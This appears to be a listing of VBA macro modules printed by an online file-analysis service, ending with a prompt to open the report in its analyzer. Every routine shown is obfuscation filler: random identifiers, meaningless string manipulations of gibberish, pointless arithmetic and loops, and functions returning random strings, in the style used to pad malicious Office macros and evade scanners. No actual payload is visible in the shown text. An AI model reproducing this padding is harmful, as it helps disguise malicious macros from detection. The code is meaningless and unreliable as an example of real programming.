        QdPnjGP = RTrim(" Z l# D# WVkh") + UCase("% ?YWc  yZ)vN n@ g")

        OIBYrJiGP = Left(" %agW)gLn_", 5) + LTrim("^_- !MbM")

        If HYjWrcW = 159 Then
            QEXKdxcSIuB = Left(" MvWB", 5) + LTrim("Sq  trAY  iyE Y")
            ypBFZB = 26 + 14 + 93 + 32
            For jpqAMD = 2 To 8
                UNhXxaWaY = 87 - 25 - 54 - 98 - 43
                VOOeyx = Left("@kSK s", 3) + LTrim("Lxazo@FJi ")
                EAZvZw = 47 - 67 - 93 - 12 - 76
            Next jpqAMD

            tMJxTOQ = RTrim("  tuOB t S BpdaETC") + StrReverse("aCC-N[U BT ")
            

            nzVSBFwE = 3 + 89 + 95 + 36
            HBWzwDSsfU cYMafIc, "AkTm", "lPwxrw", "SVtCrdQsmS", "uuiMsgDEk", "XmeROewRH", "eSYbObESq", "uJDYzEBd", "fByibiH", "CxpUhraR", "sCIoTW"
            UNhXxaWaY = RTrim("! f.u- QC  $ P y q &") + StrReverse("]Fm?H fO ?$ pHykS^ M")
            tMJxTOQ = LTrim("g Kj$p ^")
            OIBYrJiGP = LTrim(" POU$^")
            CBEQnjijCzJG = Right("x g(HoHcaMxR", 5)
        End If
    Next HYjWrcW
    FieXbY = RTrim(" hq    s(c&sd@DDe") + StrReverse(")^jNvsJ PWh$wjF ")
    smnNZd = Space(19) + Left("LJ_^ wX P I", 3)
    smnNZd = UCase("UQ J?%P ]XjUp&j") + RTrim("Lb.-v#eQ_")
    DtcWInUixs = UCase("  Vyhd X  nHcgj") + RTrim("Pvu & yjAIb")
    eDuoJIma = RTrim("  zF  K dPBYk") + StrReverse("QDjUZ e   xAV  SMH")
    vAeOA = 75 + 17 + 17 + 75 + 39
    ypBFZB = LTrim("k_ R%")
    QEXKdxcSIuB = RTrim("]hQV] xZR]") + StrReverse("  uD)gAt]$? U  u")
    For REYhlP = 2 To 4
        For BrzKKX = 2 To 8
            

            QdPnjGP = RTrim("iiiWx ]TuP?_") + UCase("MF K_B[SAnvIz^   vmk")
            ypBFZB = UCase(" kP c-D@qjH ") + RTrim(" f?XKr  f(.Ke  Xe")
            OIBYrJiGP = 98 - 18 - 54 - 92 - 6 - 90
        Next BrzKKX

        vAeOA = Left("F JBZ nS^R- sVsH#K !", 3) + LTrim("U!!CD( ")
        ypBFZB = RTrim("z[U^a(i^") + StrReverse(" Eg ]M W) EojD]j i ")
        jhDXjDICZuR = RTrim(" P XhE") + StrReverse(")nxUeNg(")
    Next REYhlP

    oSxEbZjMJcA = LTrim("MQ^pbhe A? @L   j bT")


End Sub



Function MYqQiF(ZgcRoI As Double) As String
    While QWxCyq < 3
        While vEQaFJ < 1
            DtcWInUixs = 30 - 21
            UNhXxaWaY = Right("ZEtSezkAOUs  Nm@ #", 5)
            QdPnjGP = Space(12) + Left("vY XO KPt ", 3)
            JbGuVaDXpX = Right("S.gF&iOXGEQ-$]Y.&E", 5)
            vEQaFJ = vEQaFJ + 1
        Wend

        DtcWInUixs = Right("$e)tmiO", 3)
        nzVSBFwE = LTrim("X a#I^gB")
        QEXKdxcSIuB = Left("%GQ  llITv", 4) + LTrim("mRxLFz H")
        QWxCyq = QWxCyq + 1
    Wend

    tMJxTOQ = UCase("me  o- N") + RTrim("ugpT  C rx^Ycd")
    For ZudVuE = 2 To 3
        While CNUuwQ < 1
            smnNZd = LTrim(" efHpXA")
            

            OIBYrJiGP = 24 + 41 + 75 + 88 + 59 + 84
            DHxvOLxjsFDz = UCase("F .   P") + RTrim(" H_H$F ?e Jq na M^ ")
            CNUuwQ = CNUuwQ + 3
        Wend

        eDuoJIma = Space(4) + Left(" [$&W", 3)
        nzVSBFwE = RTrim("OmgHI)kTiJ") + StrReverse("?w!pF  %-otqQh")
        ypBFZB = 45 + 77 + 92 + 6 + 91
        EAZvZw = Right("kIt% $Pnwie aPXA ", 2)
    Next ZudVuE

    smnNZd = 60 - 50 - 85 - 22 - 9 - 33
    jhDXjDICZuR = 53 - 64 - 52
    DtcWInUixs = Right(" JCE&  (H%Jg]", 3)
    For ruHPUc = 2 To 9
        UNhXxaWaY = RTrim("C. @(lApXy  W- Fi_-(") + UCase(" iiTJoKPSigHQ R")
        WYFVuawXt = 61 - 33 - 87 - 80 - 37 - 2
        eDuoJIma = UCase("aW pYV% g# &QP ") + RTrim("Nk egg  )v$-nS  ml")
        OIBYrJiGP = 7 + 42 + 82 + 39 + 14
    Next ruHPUc

    DtcWInUixs = Space(11) + Left(" cg LD  uZ @WO)P", 5)
    ypBFZB = Left("#G WT]nLv  %Ky d  n", 3) + LTrim(" YY ]D uL")
    FNUiKkWBxA = 47 - 72 - 60 - 52 - 48 - 89
    VOOeyx = Left(" D m ]W  V#I", 3) + LTrim("j  O  ^xmy U   ")
    QEXKdxcSIuB = RTrim(" [BVB#g[$Ioq ") + UCase("u     %w n ")
    For vaCnNv = 2 To 9
        awnNVehz = 83 + 60 + 35
        UNhXxaWaY = RTrim("x Y)HIqBIO^P.a rVkX ") + StrReverse("v V  ")
        kqDEphJORIJ = RTrim("P[L (oM H SWrOzn@t") + UCase("f lbdYo W$ B @-bE")
        iGQtNiSoCxnu = 58 + 96 + 91 + 21 + 9 + 49
        DtcWInUixs = Right("xXzde%t", 2)
    Next vaCnNv

    RnsxSabeRf = RTrim("   Qt H#dR)cG i &O") + StrReverse("d fnPm# V")
    

    MYqQiF = "ZajnklHzFkHnYFb"
End Function



Attribute VB_Name = "Module5"

Function tXMuKN(qoAeIx As String, ElkqPl As Double, YiBRTSs As Boolean, DTRhwx As Boolean, CBXbkR As Boolean) As String
    vAeOA = LTrim("U% ^ R@CQ V")
    nzVSBFwE = LTrim("(^ pXPz$ V  s&$")
    FNUiKkWBxA = RTrim("rA u g&zZ@ Lza") + StrReverse(" Xr[ _bykQa w")
    EujHBjiuosN = Left("[Fz[ wc]w #N$Q-)( ", 5) + LTrim("P]C hqNs&Bb^WX m%e")
    RnsxSabeRf = UCase("u#nq D@ to)S(m ln%v") + RTrim("mqlR yCvWH T&Djjvi ")
    smnNZd = RTrim("D(vp&z  @YOG(!M cY  ") + UCase(" oErW%WwNzx b")
    EAZvZw = Right(" rOEyqX t", 3)
    

    tMJxTOQ = Left("sMJeD o  cwa@T wd", 5) + LTrim("vjz bJ B e ")
    ztjyjzAsOR = Space(11) + Left(" ^K   lThSLlw  Ul[", 5)
    CBEQnjijCzJG = RTrim("RY Z NIxB    $ @s ") + UCase("d?u  ")
    VOOeyx = 2 + 6 + 74 + 92 + 31
    For YvELOL = 2 To 3
        For oBGaEz = 2 To 8
            

            

            

            DtcWInUixs = 11 + 30 + 2 + 73
            FieXbY = Left("Xh x e Mg_Q(e", 4) + LTrim(" L !(#WBncgy ")
        Next oBGaEz

        ypBFZB = LTrim("Ie  D$lcc")
        kqDEphJORIJ = 12 + 50 + 95
        nzVSBFwE = LTrim("kT sP##N %JzFUj")
        

    Next YvELOL

    ztjyjzAsOR = RTrim(" C$ Y# $ b-IbPG!WD  ") + StrReverse("q )!ave!tZ q?-s sH")
    For vjkVop = 2 To 5
        CBEQnjijCzJG = RTrim("ZiD_L?Z n !dDX  ") + UCase(" C a UXGt pOKUNK")
        KuUnWoUt = 57 + 70 + 10
        JbGuVaDXpX = Right("&Rg?  V&?MmG  M vfX", 5)
        EpdPMo = UCase(" PPg)^a$") + RTrim("ZT$ g&Z@   PJnO ")
    Next vjkVop

    tXMuKN = "GaywCCSQYuLAUvZ"
End Function



Function gLRvRA(oKSIOW As String, oaHOcM As String, YYinOTv As Integer) As String
    EAZvZw = 34 + 57 + 97 + 23 + 68 + 7
    

    EujHBjiuosN = 90 - 90 - 83 - 89 - 62
    ztjyjzAsOR = 55 - 91 - 75 - 0 - 61 - 33
    jhDXjDICZuR = RTrim(" [nJtmQ(sgLER ") + UCase("(v lA ")
    DHxvOLxjsFDz = UCase("OY[YTMgsQ$i KH %") + RTrim("]br@OV B r")
    KuUnWoUt = 21 - 68
    WYFVuawXt = 84 - 14
    

    jhDXjDICZuR = RTrim("-MC   NIRUf^ Kow") + UCase("uVRJu")
    

    

    UNhXxaWaY = 36 - 25 - 26 - 75 - 55
    eDuoJIma = LTrim("^z cD")
    DtcWInUixs = UCase("H C yWp^ M  ") + RTrim(" U k  kzQ!bDoG ")
    While bkqMwf < 1
        QdPnjGP = UCase(" (OMQ  G  k K^ cF") + RTrim("qU z if")
        

        EAZvZw = Left("Ynws E.hZPhRO#goNnd", 4) + LTrim("A]AQd _^htWlk J ")
        tMJxTOQ = Left("A Np[qq%", 3) + LTrim("K nurv[I")
        tMJxTOQ = RTrim("e?ws ORS) ^$  SuJ") + UCase("J  - ApChT-b")
        bkqMwf = bkqMwf + 1
    Wend

    

    EpdPMo = 31 + 24 + 26 + 61 + 60 + 79
    gLRvRA = "MHfkpXZsSWjVQYxEom"
End Function



Sub MmADlq(RdGvlD As Boolean, VtHiDny As Boolean)
    EpdPMo = 68 + 46
    vAeOA = Right("   cuANn .@  ", 2)
    ztjyjzAsOR = RTrim("aP c-X-g?P") + UCase(" H fx uH?os")
    OIBYrJiGP = 64 - 56 - 63 - 63 - 78
    DHxvOLxjsFDz = Left(" MFQ b#g$ qT^ h", 4) + LTrim("XQK_ LN_ksv UtNs H")
    EujHBjiuosN = LTrim("   ?C  p[c ")
    DtcWInUixs = RTrim("mgf  pRq it #fpdxC") + StrReverse(" -h@W _$  ChI ?d )@")
    jhDXjDICZuR = LTrim("Dt xqUpcOkZ[")
    VOOeyx = RTrim(")V?xd ") + UCase("lNSE ")
    EpdPMo = Space(11) + Left(" J^ gW.om  K-", 2)
    QdPnjGP = Left("  %&U  M", 2) + LTrim("V jlZxf F$p^ ")
    

    

    tMJxTOQ = LTrim("AvJ O.@L-L ")
    FNUiKkWBxA = Space(16) + Left("MYny[Jnx -C ", 2)
    While rimAsS < 4
        For hkIMTf = 2 To 9
            QEXKdxcSIuB = UCase("X N l$ EKEwi #$y") + RTrim("p!CVjQ gY@Y  [")
            smnNZd = Left("Xn BfeCiJ ?S)v", 2) + LTrim("&-Uj@aus  kO-  L")
            JbGuVaDXpX = Right(" bQ. N#$ jiJJP gP", 5)
            RnsxSabeRf = Right(".oK(aHeotLv^ r", 4)
            smnNZd = Left("kF qRZvPuMpq  ", 5) + LTrim("tCj   $P  Sf l^")
        Next hkIMTf

        ypBFZB = RTrim(" F   p #") + UCase(" AMJrHK(d   wwhlQ")
        

        awnNVehz = Left("i&ApVm ", 4) + LTrim("^ @n$b(")
        rimAsS = rimAsS + 2
    Wend

    iGQtNiSoCxnu = RTrim(" Qc MBmHgOvnr   %).") + UCase("ih VOCzM lK ri?i")
End Sub



Function gPCtjq(JCzeqk As Double) As String
    

    

    WYFVuawXt = Space(1) + Left("_ddZs]uJ M Wq Q u% ?", 3)
    OIBYrJiGP = 37 + 33 + 13
    nzVSBFwE = 84 + 30 + 23 + 55 + 65
    tMJxTOQ = 85 - 95 - 67 - 18 - 93 - 72
    ypBFZB = Left("Nzp a", 4) + LTrim("_vwERi NAttVY@o")
    

    UNhXxaWaY = Right("nR H q^.^W[  FV  q^", 5)
    

    QdPnjGP = Space(16) + Left(" X R i", 4)
    kqDEphJORIJ = Left("bcstSKX iQf", 3) + LTrim("r k&%  y")
    QdPnjGP = RTrim(" ] X@h @- ") + StrReverse("JEsYFqXGo Mx f _x#  ")
    While pMyOQH < 4
        While KfwlYZ < 2
            ztjyjzAsOR = 26 - 33 - 86
            

            DHxvOLxjsFDz = 31 + 15 + 57
            EujHBjiuosN = LTrim("rApQKS HVe")
            EAZvZw = Space(7) + Left("]? qz", 4)
            KfwlYZ = KfwlYZ + 1
        Wend

        FieXbY = Space(14) + Left(" sPLjKiD_q vW o-uSE)", 3)
        oSxEbZjMJcA = LTrim("  ahH")
        smnNZd = RTrim(" nS p") + StrReverse("BRC[? b A Xx UznJpR")
        pMyOQH = pMyOQH + 2
    Wend

    

    oSxEbZjMJcA = 96 + 66
    OIBYrJiGP = 42 - 74 - 55
    While JMPDfL < 3
        While OgoThX < 3
            awnNVehz = RTrim("R& G(  AEj V(PySK Cb") + UCase("Xy c ZMk n$ ")
            FieXbY = Right("  bx[x (   %&TaOF", 3)
            oSxEbZjMJcA = RTrim("Yji(gI![   ") + StrReverse(" Uq D!ov  VPd.%PN")
            jhDXjDICZuR = Right("Jm[.vd%ZZ", 4)
            OgoThX = OgoThX + 2
        Wend

        KuUnWoUt = RTrim("[Ai#!  OA]UYO") + UCase("O?T##x ZWdjvB O ")
        KuUnWoUt = RTrim("YQcC)Hmz)") + StrReverse("U aP AZB q")
        QEXKdxcSIuB = 13 + 85
        EujHBjiuosN = Space(4) + Left("c  W n bb (n Ybz ", 4)
        smnNZd = 83 - 16 - 41
        JMPDfL = JMPDfL + 1
    Wend

    jhDXjDICZuR = RTrim("pach  M   wZRY ") + UCase("d?yYi[_^ gRKg[Pt?U&")
    kqDEphJORIJ = Left("% pMji)N", 3) + LTrim("P&   nuXD   LnH")
    gPCtjq = "ISkMNbqnKCgFAzdNsqgW"
End Function



Attribute VB_Name = "Module6"

Sub ADKnTr(RatSDqf As Double, vDgWRUQ As Boolean, jfIfMMw As Integer)
    QEXKdxcSIuB = LTrim("i%X EaI.dmkb]@ ?")
    While lWdXQz < 4
        ztjyjzAsOR = UCase("] )@ J# KD(O^") + RTrim("D#T cX h#f")
        DHxvOLxjsFDz = 84 + 16 + 61 + 70 + 70 + 54
        DHxvOLxjsFDz = Right("dsFgA? xAF zc ", 2)
        lWdXQz = lWdXQz + 3
    Wend

    CBEQnjijCzJG = UCase("  $% S eOT  H ") + RTrim("jm  %")
    oSxEbZjMJcA = LTrim("bX?D m ja Zx%wp )")
    smnNZd = Right("  !qD E % Egc", 5)
    

    vAeOA = Space(17) + Left("    rIhREE  ]  ^M_S", 2)
    awnNVehz = RTrim(" ws . x@Ebx  ") + StrReverse("_H vpN")
    FieXbY = Space(13) + Left("kD&nObkbhv I][ l", 2)
    DHxvOLxjsFDz = UCase("  &om  xu N") + RTrim("h -qn$ e@ sP ^!a b?s")
    For CYrGSQ = 2 To 7
        smnNZd = Right("-KDIt @t", 4)
        JbGuVaDXpX = Right("! jP[s]", 5)
        RnsxSabeRf = LTrim("eB&C QpjXrtp ")
        FNUiKkWBxA = Right("tq]c%", 4)
    Next CYrGSQ

    WYFVuawXt = UCase("s p# P") + RTrim("A FDX")
    jhDXjDICZuR = LTrim("IV  POhY")
    UNhXxaWaY = RTrim("BA%OCA & J- & I") + UCase("BUjNyZC $G? h@e@Z")
    

End Sub



Attribute VB_Name = "Module7"

Function lAJJtb(HWHwOS As String, HiWKTD As Boolean, aSowSJ As Boolean) As String
    

    awnNVehz = UCase("zgkAiXE xX?-WQj") + RTrim("a  a ?& ")
    

    VOOeyx = RTrim("ylM[gw#Zc") + StrReverse("e o r [  !wX _")
    CBEQnjijCzJG = LTrim("x_vah")
    

    awnNVehz = LTrim("egotk")
    DtcWInUixs = UCase(" [?AzxdgH_WYgUcLNE") + RTrim("ezM VPx.A$h UN REwcc")
    ypBFZB = LTrim("w LL[i]Jt x")
    EAZvZw = Left("WTz& ", 2) + LTrim("YQd PxS jd^ )&VEC")
    eDuoJIma = LTrim("L$sZ% cYK")
    WYFVuawXt = RTrim("H j _ TALT") + UCase("tV tV")
    tMJxTOQ = Left("wQ _   c  NR xN", 4) + LTrim("R w[r")
    jhDXjDICZuR = LTrim("$#qgaX .")
    RnsxSabeRf = RTrim("_s& iS@") + StrReverse(" QwZNL WD ")
    

    

    eDuoJIma = LTrim("[FSEn(v!o.mKa?UL Xd")
    RnsxSabeRf = UCase("^ z W)a D#FG ") + RTrim("fm NOE ocJpT Gjm  ")
    FNUiKkWBxA = UCase("  !xd)  (Wp") + RTrim("wZcSsk")
    lAJJtb = "DAofZcbzqkCNSFOvpNGI"
End Function



Sub lmTNKt(PrBpNM As Boolean, CyoxHh As Double, JnDGufD As Double)
    FieXbY = LTrim("TO jY FA  V")
    WYFVuawXt = UCase("Ff h#Sj&JKQ t J@WGTl") + RTrim("G!eNlzx D$T")
    oSxEbZjMJcA = 23 + 37 + 71 + 69 + 14 + 58
    iGQtNiSoCxnu = UCase("-poUG") + RTrim("xK P f ( I")
    FNUiKkWBxA = Right("mX  mhrh[$ St p$u-  ", 3)
    ztjyjzAsOR = 84 + 19 + 10 + 68 + 8
    For CJfFNA = 2 To 3
        For EwFKae = 2 To 6
            

            EpdPMo = 48 - 71 - 50 - 21
            KuUnWoUt = RTrim("  #W _bZJ_t") + StrReverse("O@tlFbqzV [_St")
        Next EwFKae

        QdPnjGP = Space(20) + Left("&t  Q u@K", 2)
        QdPnjGP = RTrim("Ho .$ D@  P  J") + StrReverse("NK S wK d  ^^^MuH   ")
        DHxvOLxjsFDz = Right("Oh [E_ ", 2)
        KuUnWoUt = UCase("dEPANdq %%zD") + RTrim("g j.T) y$]rU[ g%O i")
        RnsxSabeRf = Space(7) + Left("wzbn kFoixCD", 2)
    Next CJfFNA

    FNUiKkWBxA = RTrim("H^- OG_n).U M") + UCase(" huJW")
    DHxvOLxjsFDz = Left(" zucx o% pS Tj[nb ?", 2) + LTrim("   ?DM@kVk%]ud")
    DtcWInUixs = RTrim("#bptq") + UCase("pEZzOWM(j")
    

    UNhXxaWaY = 3 + 33 + 96 + 5
    KuUnWoUt = 99 - 18 - 40 - 53
    vAeOA = UCase(" ^# N HXE ?^O ns") + RTrim(" zlwUto")
    kqDEphJORIJ = RTrim("k^$! tmhGp& GVg)") + UCase(" A%  mv$bS%)EUr%i")
End Sub



Attribute VB_Name = "Module8"

Function siLAoA(wdFvVGr As Integer) As String
    iGQtNiSoCxnu = 39 + 51
    VOOeyx = Left("Od# CKB?Jv_EZ  JIp", 3) + LTrim("p UkR")
…

Open this report in the interactive analyzer, or submit your own file for analysis.